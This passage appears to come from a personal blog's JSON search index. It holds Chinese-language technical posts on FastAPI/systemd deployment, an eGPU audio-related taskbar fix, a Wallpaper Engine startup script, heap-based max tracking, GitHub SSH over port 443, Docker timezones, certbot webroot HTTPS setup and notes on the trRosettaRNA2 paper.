systemctl restart fastapi-app\r常用管理命令\rsudo systemctl start fastapi-app\rsudo systemctl stop fastapi-app\rsudo systemctl restart fastapi-app\rsudo systemctl status fastapi-app --no-pager\rsudo nginx -t\rsudo nginx -s reload\r如果服务启动失败，先通过 journalctl 查看错误，重点检查虚拟环境路径、应用入口、文件权限以及端口占用。NGINX 返回 502 时，先在服务器执行 curl http://127.0.0.1:8000/health，确认后端是否正常，再检查 NGINX 配置和 /var/log/nginx/error.log。 ","date":"2026-09-05","heading":"更新应用","objectID":"/blog/posts/devops/systemd-uvicorn-fastapi/:4:0","tags":["Systemd","Uvicorn","FastAPI"],"title":"Systemd + Uvicorn + FastAPI 部署","uri":"/blog/posts/devops/systemd-uvicorn-fastapi/#更新应用"},{"categories":["开发运维"],"collections":null,"content":"更新与维护\r更新应用\r更新项目代码和依赖时，使用 fastapi-user 执行 sudo -iu fastapi-user\rcd /home/fastapi-user/fastapi-app\rgit pull\rexit\rsudo systemctl restart fastapi-app\rcurl http://127.0.0.1:8000/health\r按实际项目选择依赖安装命令。如果只使用本文的最小示例，修改 server.py 后重启服务即可。restart 会有短暂服务中断，请求检查若遇到应用尚未启动完成，可以查看日志后重试。 修改 .service 文件后，需要重新加载 systemd 配置并重启： sudo systemctl daemon-reload\rsudo systemctl restart fastapi-app\r常用管理命令\rsudo systemctl start fastapi-app\rsudo systemctl stop fastapi-app\rsudo systemctl restart fastapi-app\rsudo systemctl status fastapi-app --no-pager\rsudo nginx -t\rsudo nginx -s reload\r如果服务启动失败，先通过 journalctl 查看错误，重点检查虚拟环境路径、应用入口、文件权限以及端口占用。NGINX 返回 502 时，先在服务器执行 curl http://127.0.0.1:8000/health，确认后端是否正常，再检查 NGINX 配置和 /var/log/nginx/error.log。 ","date":"2026-09-05","heading":"常用管理命令","objectID":"/blog/posts/devops/systemd-uvicorn-fastapi/:4:0","tags":["Systemd","Uvicorn","FastAPI"],"title":"Systemd + Uvicorn + FastAPI 部署","uri":"/blog/posts/devops/systemd-uvicorn-fastapi/#常用管理命令"},{"categories":["外接显卡"],"collections":null,"content":"\r","date":"2026-08-25","heading":"","objectID":"/blog/posts/egpu/egpu-audio-problem/:0:0","tags":["NVIDIA","egpu"],"title":"Windows 接入 OCuLink eGPU 后任务栏消失：通过禁用 NVIDIA 显示音频驱动解决","uri":"/blog/posts/egpu/egpu-audio-problem/#"},{"categories":["外接显卡"],"collections":null,"content":"故障环境\r操作系统：Windows 11 25H2，Build 26200.9168 核显：Intel Iris Xe Graphics eGPU：NVIDIA GeForce RTX 5070 Ti 连接方式：OCuLink（PCIe 直连） 无线网卡：Intel Wi-Fi 6E AX211 本机音频：Intel Smart Sound Technology / Realtek Audio 其他音频端点：USB DAC、蓝牙耳机、VB-Audio、NVIDIA 虚拟音频等 ","date":"2026-08-25","heading":"故障环境","objectID":"/blog/posts/egpu/egpu-audio-problem/:1:0","tags":["NVIDIA","egpu"],"title":"Windows 接入 OCuLink eGPU 后任务栏消失：通过禁用 NVIDIA 显示音频驱动解决","uri":"/blog/posts/egpu/egpu-audio-problem/#故障环境"},{"categories":["外接显卡"],"collections":null,"content":"故障现象\r接入 OCuLink eGPU 冷启动 Windows 后，故障并不是每次都会发生，但出现时非常有规律： 登录桌面后，右下角的 Wi-Fi、音量等图标和系统托盘没有正常出现。 开始菜单或任务栏可能反应迟钝。 重启 Windows 资源管理器后，任务栏和托盘恢复正常。 一开始很容易怀疑是 Wi-Fi 驱动、Explorer 本身或任务栏缓存损坏。但“重启 Explorer 能恢复”只说明 Shell 被卡住了，并不等于故障源就在 Explorer。 ","date":"2026-08-25","heading":"故障现象","objectID":"/blog/posts/egpu/egpu-audio-problem/:2:0","tags":["NVIDIA","egpu"],"title":"Windows 接入 OCuLink eGPU 后任务栏消失：通过禁用 NVIDIA 显示音频驱动解决","uri":"/blog/posts/egpu/egpu-audio-problem/#故障现象"},{"categories":["外接显卡"],"collections":null,"content":"关键排查结果\r设备状态检查显示： Intel AX211 无线网卡处于 Started 状态。 WLAN AutoConfig 服务正在运行。 RTX 5070 Ti、Intel 核显和各音频设备均能被系统枚举。 系统中同时存在 NVIDIA High Definition Audio 和 NVIDIA Virtual Audio Device (Wave Extensible) (WDM)。 真正有价值的线索来自 Windows 事件日志和错误报告。 ","date":"2026-08-25","heading":"关键排查结果","objectID":"/blog/posts/egpu/egpu-audio-problem/:3:0","tags":["NVIDIA","egpu"],"title":"Windows 接入 OCuLink eGPU 后任务栏消失：通过禁用 NVIDIA 显示音频驱动解决","uri":"/blog/posts/egpu/egpu-audio-problem/#关键排查结果"},{"categories":["外接显卡"],"collections":null,"content":"1. Windows Audio 先失去响应\r系统日志出现 Service Control Manager 事件 7031： Windows Audio 服务意外地终止。\rWindows 错误报告进一步显示： 事件名称: AppHangB1\r程序: svchost.exe_Audiosrv\r也就是说，承载 Windows Audio 服务的 svchost.exe 确实发生了挂起，而不是简单的音量图标未刷新。 ","date":"2026-08-25","heading":"1. Windows Audio 先失去响应","objectID":"/blog/posts/egpu/egpu-audio-problem/:3:1","tags":["NVIDIA","egpu"],"title":"Windows 接入 OCuLink eGPU 后任务栏消失：通过禁用 NVIDIA 显示音频驱动解决","uri":"/blog/posts/egpu/egpu-audio-problem/#1-windows-audio-先失去响应"},{"categories":["外接显卡"],"collections":null,"content":"2. Explorer 被 AudioClientRpc 拖住\r紧接着出现 Explorer 无响应事件： 事件名称: AppHangXProcB1\r程序: explorer.exe\r相关进程: svchost.exe:AudioClientRpc\r这条记录把两件看似无关的事情连接了起来：Explorer 正在通过 AudioClientRpc 查询系统音频状态，而 Windows Audio 已经卡住，于是 Explorer 也被跨进程调用拖住。 Windows 11 的网络、音量、电池等状态区域属于同一个系统托盘。音频查询阻塞时，消失的不一定只有音量图标，Wi-Fi 图标和整个托盘都可能无法正常初始化。 ","date":"2026-08-25","heading":"2. Explorer 被 AudioClientRpc 拖住","objectID":"/blog/posts/egpu/egpu-audio-problem/:3:2","tags":["NVIDIA","egpu"],"title":"Windows 接入 OCuLink eGPU 后任务栏消失：通过禁用 NVIDIA 显示音频驱动解决","uri":"/blog/posts/egpu/egpu-audio-problem/#2-explorer-被-audioclientrpc-拖住"},{"categories":["外接显卡"],"collections":null,"content":"3. 开机阶段存在音频设备初始化异常\r每次故障附近还反复出现 Kernel-PnP 事件 219： 驱动程序 \\Driver\\WUDFRd 加载失败\r设备: INTELAUDIO\\...\\DetectionVerification\r状态: 0xC0000365\r系统中还有虚拟显示设备的同类警告。单独一个事件 219 不一定意味着严重故障，但它说明开机时多个音频与显示端点的初始化并不顺畅。 ","date":"2026-08-25","heading":"3. 开机阶段存在音频设备初始化异常","objectID":"/blog/posts/egpu/egpu-audio-problem/:3:3","tags":["NVIDIA","egpu"],"title":"Windows 接入 OCuLink eGPU 后任务栏消失：通过禁用 NVIDIA 显示音频驱动解决","uri":"/blog/posts/egpu/egpu-audio-problem/#3-开机阶段存在音频设备初始化异常"},{"categories":["外接显卡"],"collections":null,"content":"最终解决办法\r在设备管理器中禁用： 声音、视频和游戏控制器\r└─ NVIDIA High Definition Audio\r操作步骤： 右键单击开始按钮，打开“设备管理器”。 展开“声音、视频和游戏控制器”。 找到 NVIDIA High Definition Audio。 右键选择“禁用设备”。 重启电脑并进行多次冷启动验证。 不要误禁用： NVIDIA GeForce RTX 5070 Ti 显示适配器； Intel/Realtek 本机音频设备； NVIDIA Virtual Audio Device。 禁用后，本机不再出现开机托盘丢失和显示器音频导致的视频卡死，验证了故障与 OCuLink - NVIDIA HD Audio - DP 音频路径存在直接关系，根本问题可能出在OCuLink这一部分。 ","date":"2026-08-25","heading":"最终解决办法","objectID":"/blog/posts/egpu/egpu-audio-problem/:4:0","tags":["NVIDIA","egpu"],"title":"Windows 接入 OCuLink eGPU 后任务栏消失：通过禁用 NVIDIA 显示音频驱动解决","uri":"/blog/posts/egpu/egpu-audio-problem/#最终解决办法"},{"categories":["外接显卡"],"collections":null,"content":"\r","date":"2026-08-21","heading":"","objectID":"/blog/posts/egpu/wallpaper-engine-smart-start/:0:0","tags":["NVIDIA","wallpaper","egpu"],"title":"通过 NVIDIA 独显状态控制 Wallpaper Engine 开机启动","uri":"/blog/posts/egpu/wallpaper-engine-smart-start/#"},{"categories":["外接显卡"],"collections":null,"content":"背景\r家里使用外接显卡（eGPU）连接大屏幕时，希望 Wallpaper Engine 自动启动显示动态壁纸。 但外出使用笔记本时，没有外接显卡，不希望壁纸程序开机启动，避免浪费资源。 因此通过 Windows 计划任务，在登录时检测 NVIDIA GPU 状态，只有 nvidia-smi 检测成功时才启动 Wallpaper Engine。 ","date":"2026-08-21","heading":"背景","objectID":"/blog/posts/egpu/wallpaper-engine-smart-start/:1:0","tags":["NVIDIA","wallpaper","egpu"],"title":"通过 NVIDIA 独显状态控制 Wallpaper Engine 开机启动","uri":"/blog/posts/egpu/wallpaper-engine-smart-start/#背景"},{"categories":["外接显卡"],"collections":null,"content":"1. 关闭 Wallpaper Engine 自启动\r先关闭 Wallpaper Engine 自带的开机启动： Wallpaper Engine\r→ 设置\r→ 常规\r→ Windows 启动时运行\r取消勾选。 避免它绕过检测直接启动。 ","date":"2026-08-21","heading":"1. 关闭 Wallpaper Engine 自启动","objectID":"/blog/posts/egpu/wallpaper-engine-smart-start/:2:0","tags":["NVIDIA","wallpaper","egpu"],"title":"通过 NVIDIA 独显状态控制 Wallpaper Engine 开机启动","uri":"/blog/posts/egpu/wallpaper-engine-smart-start/#1-关闭-wallpaper-engine-自启动"},{"categories":["外接显卡"],"collections":null,"content":"2. 创建检测脚本\r创建目录： mkdir C:\\Scripts\r创建： C:\\Scripts\\start-wallpaper.vbs\r内容： Set WshShell = CreateObject(\"WScript.Shell\")\rret = WshShell.Run(\"nvidia-smi\", 0, True)\rIf ret = 0 Then\rWshShell.Run \"\"\"C:\\Program Files (x86)\\Steam\\steamapps\\common\\wallpaper_engine\\wallpaper64.exe\"\"\", 0, False\rEnd If\r逻辑： nvidia-smi 返回码为 0 NVIDIA 显卡可用 启动 Wallpaper Engine 返回非 0 没有可用 NVIDIA GPU 不启动 ","date":"2026-08-21","heading":"2. 创建检测脚本","objectID":"/blog/posts/egpu/wallpaper-engine-smart-start/:3:0","tags":["NVIDIA","wallpaper","egpu"],"title":"通过 NVIDIA 独显状态控制 Wallpaper Engine 开机启动","uri":"/blog/posts/egpu/wallpaper-engine-smart-start/#2-创建检测脚本"},{"categories":["外接显卡"],"collections":null,"content":"3. 测试脚本\r手动运行： wscript \"C:\\Scripts\\start-wallpaper.vbs\"\r连接 eGPU 时：应该启动 Wallpaper Engine。 未连接 eGPU 时：应该无任何动作。 ","date":"2026-08-21","heading":"3. 测试脚本","objectID":"/blog/posts/egpu/wallpaper-engine-smart-start/:4:0","tags":["NVIDIA","wallpaper","egpu"],"title":"通过 NVIDIA 独显状态控制 Wallpaper Engine 开机启动","uri":"/blog/posts/egpu/wallpaper-engine-smart-start/#3-测试脚本"},{"categories":["外接显卡"],"collections":null,"content":"4. 创建 Windows 计划任务\r打开： Win + R\rtaskschd.msc\r选择「创建任务」 不要选择「创建基本任务」。 ","date":"2026-08-21","heading":"4. 创建 Windows 计划任务","objectID":"/blog/posts/egpu/wallpaper-engine-smart-start/:5:0","tags":["NVIDIA","wallpaper","egpu"],"title":"通过 NVIDIA 独显状态控制 Wallpaper Engine 开机启动","uri":"/blog/posts/egpu/wallpaper-engine-smart-start/#4-创建-windows-计划任务"},{"categories":["外接显卡"],"collections":null,"content":"常规\r名称： Start Wallpaper When NVIDIA Available\r勾选： 使用最高权限运行\r因为 nvidia-smi 需要管理员权限。 ","date":"2026-08-21","heading":"常规","objectID":"/blog/posts/egpu/wallpaper-engine-smart-start/:5:1","tags":["NVIDIA","wallpaper","egpu"],"title":"通过 NVIDIA 独显状态控制 Wallpaper Engine 开机启动","uri":"/blog/posts/egpu/wallpaper-engine-smart-start/#常规"},{"categories":["外接显卡"],"collections":null,"content":"触发器\r新建： 登录时\r高级设置 延迟任务：30 秒\r","date":"2026-08-21","heading":"触发器","objectID":"/blog/posts/egpu/wallpaper-engine-smart-start/:5:2","tags":["NVIDIA","wallpaper","egpu"],"title":"通过 NVIDIA 独显状态控制 Wallpaper Engine 开机启动","uri":"/blog/posts/egpu/wallpaper-engine-smart-start/#触发器"},{"categories":["外接显卡"],"collections":null,"content":"操作\r程序： wscript\r参数： \"C:\\Scripts\\start-wallpaper.vbs\"\r","date":"2026-08-21","heading":"操作","objectID":"/blog/posts/egpu/wallpaper-engine-smart-start/:5:3","tags":["NVIDIA","wallpaper","egpu"],"title":"通过 NVIDIA 独显状态控制 Wallpaper Engine 开机启动","uri":"/blog/posts/egpu/wallpaper-engine-smart-start/#操作"},{"categories":["外接显卡"],"collections":null,"content":"最终效果\r","date":"2026-08-21","heading":"最终效果","objectID":"/blog/posts/egpu/wallpaper-engine-smart-start/:6:0","tags":["NVIDIA","wallpaper","egpu"],"title":"通过 NVIDIA 独显状态控制 Wallpaper Engine 开机启动","uri":"/blog/posts/egpu/wallpaper-engine-smart-start/#最终效果"},{"categories":["外接显卡"],"collections":null,"content":"家里\r连接 eGPU\r↓\rWindows 登录\r↓\r计划任务等待 30 秒\r↓\r执行 nvidia-smi\r↓\r检测成功\r↓\r启动 Wallpaper Engine\r","date":"2026-08-21","heading":"家里","objectID":"/blog/posts/egpu/wallpaper-engine-smart-start/:6:1","tags":["NVIDIA","wallpaper","egpu"],"title":"通过 NVIDIA 独显状态控制 Wallpaper Engine 开机启动","uri":"/blog/posts/egpu/wallpaper-engine-smart-start/#家里"},{"categories":["外接显卡"],"collections":null,"content":"外出\r无 eGPU\r↓\rWindows 登录\r↓\r计划任务等待 30 秒\r↓\r执行 nvidia-smi\r↓\r检测失败\r↓\r不启动 Wallpaper Engine\r这样可以让壁纸程序根据实际硬件环境自动启停。 ","date":"2026-08-21","heading":"外出","objectID":"/blog/posts/egpu/wallpaper-engine-smart-start/:6:2","tags":["NVIDIA","wallpaper","egpu"],"title":"通过 NVIDIA 独显状态控制 Wallpaper Engine 开机启动","uri":"/blog/posts/egpu/wallpaper-engine-smart-start/#外出"},{"categories":["算法"],"collections":null,"content":"\r","date":"2026-08-06","heading":"","objectID":"/blog/posts/algorithm/perf-dict-with-heap/:0:0","tags":["heap"],"title":"动态集合取最值优化：Heap","uri":"/blog/posts/algorithm/perf-dict-with-heap/#"},{"categories":["算法"],"collections":null,"content":"问题模式\r维护一个动态字典： state = {\ritem: value\r}\r循环执行： 获取 value 最大/最小的 item 修改 state 朴素实现： max(state, key=state.get)\r每次扫描复杂度为 O(N)O(N)O(N) ","date":"2026-08-06","heading":"问题模式","objectID":"/blog/posts/algorithm/perf-dict-with-heap/:1:0","tags":["heap"],"title":"动态集合取最值优化：Heap","uri":"/blog/posts/algorithm/perf-dict-with-heap/#问题模式"},{"categories":["算法"],"collections":null,"content":"优化：Heap + HashMap\r维护两个结构： HashMap：保存真实状态 Heap：快速获取候选最值 复杂度： 操作\r复杂度\rheap push\rO(logN)\rheap pop\rO(logN)\r查找最值\rO(1)（取堆顶）\r","date":"2026-08-06","heading":"优化：Heap + HashMap","objectID":"/blog/posts/algorithm/perf-dict-with-heap/:2:0","tags":["heap"],"title":"动态集合取最值优化：Heap","uri":"/blog/posts/algorithm/perf-dict-with-heap/#优化heap--hashmap"},{"categories":["算法"],"collections":null,"content":"Lazy Deletion（惰性删除）\rHeap 不支持高效修改已有元素。 因此： 更新状态时： 修改 HashMap 新值重新 push 到 heap 弹出时检查是否过期 示例： state[\"a\"] = 100\rheap:\r(-100, \"a\")\r更新后： state[\"a\"] = 20\rheap:\r(-100, \"a\") # stale\r(-20, \"a\") # valid\r取值： while heap:\rvalue, item = heappop(heap)\rif value == current_state[item]:\ruse(item)\rbreak\r注意 Python 中使用 heapq 库时，如果要支持自定义类排序，需要实现类的 __lt__ 和 __eq__ 魔术方法。 ","date":"2026-08-06","heading":"Lazy Deletion（惰性删除）","objectID":"/blog/posts/algorithm/perf-dict-with-heap/:3:0","tags":["heap"],"title":"动态集合取最值优化：Heap","uri":"/blog/posts/algorithm/perf-dict-with-heap/#lazy-deletion惰性删除"},{"categories":["网络"],"collections":null,"content":"\r","date":"2026-05-21","heading":"","objectID":"/blog/network/problem-tun-github-error/:0:0","tags":["github"],"title":"科学上网问题 - Tun 模式无法 ssh 访问 Github","uri":"/blog/network/problem-tun-github-error/#"},{"categories":["网络"],"collections":null,"content":"问题\r开启代理软件的 TUN 模式后，进行 git push 会失败，显示 Connection closed by 198.18.0.104 port 22\r由于推送目标是 github，使用下面命令亦可复现 ssh -T git@github.com\r","date":"2026-05-21","heading":"问题","objectID":"/blog/network/problem-tun-github-error/:1:0","tags":["github"],"title":"科学上网问题 - Tun 模式无法 ssh 访问 Github","uri":"/blog/network/problem-tun-github-error/#问题"},{"categories":["网络"],"collections":null,"content":"解决方法\r编辑： ~/.ssh/config\r加入： Host github.com\rHostName ssh.github.com\rPort 443\rIdentityFile ~/.ssh/id_ed25519\r该走 HTTPS 连接。 然后重新测试： ssh -T git@github.com\r即可正常连接。 ","date":"2026-05-21","heading":"解决方法","objectID":"/blog/network/problem-tun-github-error/:2:0","tags":["github"],"title":"科学上网问题 - Tun 模式无法 ssh 访问 Github","uri":"/blog/network/problem-tun-github-error/#解决方法"},{"categories":["开发运维"],"collections":null,"content":"最近将微信小程序后端迁移到 Docker 后，出现了“每日刷新”相关 Bug，例如： 每日广告次数未刷新 次日仍然沿用前一天状态 排查后发现，问题并不在业务逻辑，而是： Docker 容器默认使用 UTC 时区。 而业务中的“每日刷新”逻辑实际上是基于东八区自然日实现的。 例如： if user.last_ad_time != today:\ruser.today_ad_views = 0\r当中国时间已经进入第二天时： 中国时间\rUTC 时间\r2026-05-19 00:30\r2026-05-18 16:30\r后端仍然认为“还是昨天”，从而导致自然日逻辑整体延迟 8 小时。 ","date":"2026-05-19","heading":"","objectID":"/blog/posts/devops/problem-docker-timezone/:0:0","tags":["docker","utc","timezone"],"title":"Docker 容器时区问题：UTC 导致的自然日业务刷新异常","uri":"/blog/posts/devops/problem-docker-timezone/#"},{"categories":["开发运维"],"collections":null,"content":"最终方案\r","date":"2026-05-19","heading":"最终方案","objectID":"/blog/posts/devops/problem-docker-timezone/:1:0","tags":["docker","utc","timezone"],"title":"Docker 容器时区问题：UTC 导致的自然日业务刷新异常","uri":"/blog/posts/devops/problem-docker-timezone/#最终方案"},{"categories":["开发运维"],"collections":null,"content":"数据库存储统一使用 UTC\r数据库中的 datetime / timestamp 统一存 UTC。 优点： 避免时区混乱 避免夏令时问题 多服务容易统一 ","date":"2026-05-19","heading":"数据库存储统一使用 UTC","objectID":"/blog/posts/devops/problem-docker-timezone/:1:1","tags":["docker","utc","timezone"],"title":"Docker 容器时区问题：UTC 导致的自然日业务刷新异常","uri":"/blog/posts/devops/problem-docker-timezone/#数据库存储统一使用-utc"},{"categories":["开发运维"],"collections":null,"content":"前端负责本地化显示\r后端返回 UTC： {\r\"created_at\": \"2026-05-18T16:30:00Z\"\r}\r前端按用户本地时区格式化： new Date(utcTime).toLocaleString()\r","date":"2026-05-19","heading":"前端负责本地化显示","objectID":"/blog/posts/devops/problem-docker-timezone/:1:2","tags":["docker","utc","timezone"],"title":"Docker 容器时区问题：UTC 导致的自然日业务刷新异常","uri":"/blog/posts/devops/problem-docker-timezone/#前端负责本地化显示"},{"categories":["开发运维"],"collections":null,"content":"自然日业务明确业务时区\r像： 每日限额 定时刷新 这类逻辑本质上依赖“业务时区”。 对于面向中国用户的服务，直接统一： ENV TZ=Asia/Shanghai\r通常是最简单稳定的方案。 精简镜像中的 tzdata 问题\r如果使用 Alpine / slim 等精简镜像： 则可能需要额外安装： RUN apk add --no-cache tzdata ca-certificates\r","date":"2026-05-19","heading":"自然日业务明确业务时区","objectID":"/blog/posts/devops/problem-docker-timezone/:1:3","tags":["docker","utc","timezone"],"title":"Docker 容器时区问题：UTC 导致的自然日业务刷新异常","uri":"/blog/posts/devops/problem-docker-timezone/#自然日业务明确业务时区"},{"categories":["开发运维"],"collections":null,"content":"自然日业务明确业务时区\r像： 每日限额 定时刷新 这类逻辑本质上依赖“业务时区”。 对于面向中国用户的服务，直接统一： ENV TZ=Asia/Shanghai\r通常是最简单稳定的方案。 精简镜像中的 tzdata 问题\r如果使用 Alpine / slim 等精简镜像： 则可能需要额外安装： RUN apk add --no-cache tzdata ca-certificates\r","date":"2026-05-19","heading":"","objectID":"/blog/posts/devops/problem-docker-timezone/:1:3","tags":["docker","utc","timezone"],"title":"Docker 容器时区问题：UTC 导致的自然日业务刷新异常","uri":"/blog/posts/devops/problem-docker-timezone/#精简镜像中的-tzdata-问题"},{"categories":["开发运维"],"collections":null,"content":"总结\r目前采用的时间处理策略： 层级\r策略\r数据库存储\rUTC\r前端显示\r用户本地时区\r后端 Docker 容器\rTZ=Asia/Shanghai\r","date":"2026-05-19","heading":"总结","objectID":"/blog/posts/devops/problem-docker-timezone/:2:0","tags":["docker","utc","timezone"],"title":"Docker 容器时区问题：UTC 导致的自然日业务刷新异常","uri":"/blog/posts/devops/problem-docker-timezone/#总结"},{"categories":["开发运维"],"collections":null,"content":"之前我一直使用： certbot --nginx\r来自动申请和配置 HTTPS 证书。 这种方法虽然方便，但在实际使用中，我遇到了比较严重的问题： certbot 会自动修改 nginx 配置 certbot 会自动 reload/restart nginx，导致systemd 状态与 nginx 实际状态脱节，出现“游离 nginx”，然后第一个证书成功、后面失败 最终决定迁移到： certbot --webroot\r这种模式下： certbot 不再接管 nginx 不再自动修改 nginx 配置 不再 reload/restart nginx nginx 完全手动管理 ","date":"2026-05-19","heading":"","objectID":"/blog/posts/devops/certbot-webroot/:0:0","tags":["certbot","nginx","https"],"title":"使用 Certbot --webroot 模式为 Nginx 配置 HTTPS","uri":"/blog/posts/devops/certbot-webroot/#"},{"categories":["开发运维"],"collections":null,"content":"一、安装 certbot\rUbuntu： sudo apt update\rsudo apt install certbot\r","date":"2026-05-19","heading":"一、安装 certbot","objectID":"/blog/posts/devops/certbot-webroot/:1:0","tags":["certbot","nginx","https"],"title":"使用 Certbot --webroot 模式为 Nginx 配置 HTTPS","uri":"/blog/posts/devops/certbot-webroot/#一安装-certbot"},{"categories":["开发运维"],"collections":null,"content":"二、创建 challenge 目录\r统一使用： mkdir -p /var/www/.letsencrypt/.well-known/acme-challenge\r说明： certbot 以 root 身份运行，因此无需 www-data 写权限 nginx 只需要可读权限 ","date":"2026-05-19","heading":"二、创建 challenge 目录","objectID":"/blog/posts/devops/certbot-webroot/:2:0","tags":["certbot","nginx","https"],"title":"使用 Certbot --webroot 模式为 Nginx 配置 HTTPS","uri":"/blog/posts/devops/certbot-webroot/#二创建-challenge-目录"},{"categories":["开发运维"],"collections":null,"content":"三、配置 nginx challenge 路由\r在所有 80 端口 server 中加入： location /.well-known/acme-challenge/ {\rroot /var/www/.letsencrypt;\r}\r例如： server {\rlisten 80;\rserver_name fupcode.com www.fupcode.com;\rlocation /.well-known/acme-challenge/ {\rroot /var/www/.letsencrypt;\r}\rlocation / {\rreturn 301 https://$host$request_uri;\r}\r}\r","date":"2026-05-19","heading":"三、配置 nginx challenge 路由","objectID":"/blog/posts/devops/certbot-webroot/:3:0","tags":["certbot","nginx","https"],"title":"使用 Certbot --webroot 模式为 Nginx 配置 HTTPS","uri":"/blog/posts/devops/certbot-webroot/#三配置-nginx-challenge-路由"},{"categories":["开发运维"],"collections":null,"content":"四、申请证书\rcertbot certonly --webroot -w /var/www/.letsencrypt -d fupcode.com\r说明： 参数\r含义\rcertonly\r只申请证书，不修改 nginx\r\u0026ndash;webroot\r使用 webroot challenge\r\u0026ndash;cert-name\r指定证书名称，可选，默认为域名\r-w\rchallenge 根目录\r-d\r域名，可多个\r","date":"2026-05-19","heading":"四、申请证书","objectID":"/blog/posts/devops/certbot-webroot/:4:0","tags":["certbot","nginx","https"],"title":"使用 Certbot --webroot 模式为 Nginx 配置 HTTPS","uri":"/blog/posts/devops/certbot-webroot/#四申请证书"},{"categories":["开发运维"],"collections":null,"content":"五、查看证书\rcertbot certificates\r证书通常位于： /etc/letsencrypt/live/fupcode.com/\r例如： /etc/letsencrypt/live/fupcode.com/fullchain.pem\r/etc/letsencrypt/live/fupcode.com/privkey.pem\r","date":"2026-05-19","heading":"五、查看证书","objectID":"/blog/posts/devops/certbot-webroot/:5:0","tags":["certbot","nginx","https"],"title":"使用 Certbot --webroot 模式为 Nginx 配置 HTTPS","uri":"/blog/posts/devops/certbot-webroot/#五查看证书"},{"categories":["开发运维"],"collections":null,"content":"六、配置 nginx HTTPS\r在 nginx 中手动配置： ssl_certificate /etc/letsencrypt/live/fupcode.com/fullchain.pem;\rssl_certificate_key /etc/letsencrypt/live/fupcode.com/privkey.pem;\r例如： server {\rlisten 443 ssl http2;\rserver_name fupcode.com www.fupcode.com;\rssl_certificate /etc/letsencrypt/live/fupcode.com/fullchain.pem;\rssl_certificate_key /etc/letsencrypt/live/fupcode.com/privkey.pem;\rlocation / {\rproxy_pass http://127.0.0.1:8000;\r}\r}\r","date":"2026-05-19","heading":"六、配置 nginx HTTPS","objectID":"/blog/posts/devops/certbot-webroot/:6:0","tags":["certbot","nginx","https"],"title":"使用 Certbot --webroot 模式为 Nginx 配置 HTTPS","uri":"/blog/posts/devops/certbot-webroot/#六配置-nginx-https"},{"categories":["开发运维"],"collections":null,"content":"七、nginx 重载\rnginx -t\rnginx -s reload\r","date":"2026-05-19","heading":"七、nginx 重载","objectID":"/blog/posts/devops/certbot-webroot/:7:0","tags":["certbot","nginx","https"],"title":"使用 Certbot --webroot 模式为 Nginx 配置 HTTPS","uri":"/blog/posts/devops/certbot-webroot/#七nginx-重载"},{"categories":["开发运维"],"collections":null,"content":"八、配置 deploy-hook\rmkdir -p /etc/letsencrypt/renewal-hooks/deploy\rcat \u003e/etc/letsencrypt/renewal-hooks/deploy/reload-nginx.sh \u003c\u003c'EOF'\r#!/bin/sh\rnginx -s reload\rEOF\rchmod +x /etc/letsencrypt/renewal-hooks/deploy/reload-nginx.sh\r","date":"2026-05-19","heading":"八、配置 deploy-hook","objectID":"/blog/posts/devops/certbot-webroot/:8:0","tags":["certbot","nginx","https"],"title":"使用 Certbot --webroot 模式为 Nginx 配置 HTTPS","uri":"/blog/posts/devops/certbot-webroot/#八配置-deploy-hook"},{"categories":["开发运维"],"collections":null,"content":"九、测试续期\rcertbot renew --dry-run\r如果成功，说明： challenge 正常 续期流程正常 ","date":"2026-05-19","heading":"九、测试续期","objectID":"/blog/posts/devops/certbot-webroot/:9:0","tags":["certbot","nginx","https"],"title":"使用 Certbot --webroot 模式为 Nginx 配置 HTTPS","uri":"/blog/posts/devops/certbot-webroot/#九测试续期"},{"categories":["科研笔记"],"collections":null,"content":"trRosettaRNA2 利用二级结构 (SS) 做了两件很有意思的工作 让SS加权于attention 通过多 SS 条件输入实现 RNA 构象分布 ","date":"2026-04-30","heading":"","objectID":"/blog/posts/research-notes/paper-review-trrna2/:0:0","tags":["RNA"],"title":"trRNA2 (2026)：将 Secondary Structure 引入 Attention 并驱动 RNA 构象建模","uri":"/blog/posts/research-notes/paper-review-trrna2/#"},{"categories":["科研笔记"],"collections":null,"content":"SS加权于attention\rtrRosettaRNA2 除了将ss作为一层feature，还在 structure module 中引入 SS-aware attention，其核心是对 attention softmax 的重加权： 标准 attention aij=exp⁡(qikjd)∑l=1Lexp⁡(qikld)\ra_{ij} = \\frac{\\exp\\left(\\frac{q_i k_j}{\\sqrt{d}}\\right)}{\\sum_{l=1}^{L} \\exp\\left(\\frac{q_i k_l}{\\sqrt{d}}\\right)}\raij​=∑l=1L​exp(d​qi​kl​​)exp(d​qi​kj​​)​ SS-aware attention aij=(exp⁡(pijT)−0.99)exp⁡(qikjd)∑l=1L(exp⁡(pilT)−0.99)exp⁡(qikld)\ra_{ij} = \\frac{\\left(\\exp\\left(\\frac{p_{ij}}{T}\\right) - 0.99\\right)\\exp\\left(\\frac{q_i k_j}{\\sqrt{d}}\\right)}{\\sum_{l=1}^{L} \\left(\\exp\\left(\\frac{p_{il}}{T}\\right) - 0.99\\right)\\exp\\left(\\frac{q_i k_l}{\\sqrt{d}}\\right)}\raij​=∑l=1L​(exp(Tpil​​)−0.99)exp(d​qi​kl​​)(exp(Tpij​​)−0.99)exp(d​qi​kj​​)​ 其中， pijp_{ij}pij​ 表示由二级结构预测模型给出的第 i,ji,ji,j 个核苷酸形成碱基配对的概率 TTT 是 SS temperature，用于控制二级结构先验对 attention 的影响强度。 当 TTT 较小时， exp⁡(pij/T)\\exp(p_{ij}/T)exp(pij​/T)对 pijp_{ij}pij​ 更敏感，SS 对 attention 的影响更强； 当 TTT 较大时，权重差异变小，模型更多依赖自身学习到的几何和 pair 表征。 在代码中，StructureModule 默认使用逐层递增的温度，在结构生成早期强烈注入二级结构约束，在后期逐渐放松。 我的理解 传统的方法是把ss作为pair representation的一层feature，这种方式也许学习效果不佳 加权attention从而让模型不容易忽略长程相互作用 ","date":"2026-04-30","heading":"SS加权于attention","objectID":"/blog/posts/research-notes/paper-review-trrna2/:1:0","tags":["RNA"],"title":"trRNA2 (2026)：将 Secondary Structure 引入 Attention 并驱动 RNA 构象建模","uri":"/blog/posts/research-notes/paper-review-trrna2/#ss加权于attention"},{"categories":["科研笔记"],"collections":null,"content":"多 SS → 构象分布\r","date":"2026-04-30","heading":"多 SS → 构象分布","objectID":"/blog/posts/research-notes/paper-review-trrna2/:2:0","tags":["RNA"],"title":"trRNA2 (2026)：将 Secondary Structure 引入 Attention 并驱动 RNA 构象建模","uri":"/blog/posts/research-notes/paper-review-trrna2/#多-ss--构象分布"},{"categories":["科研笔记"],"collections":null,"content":"核心思路\rRNA 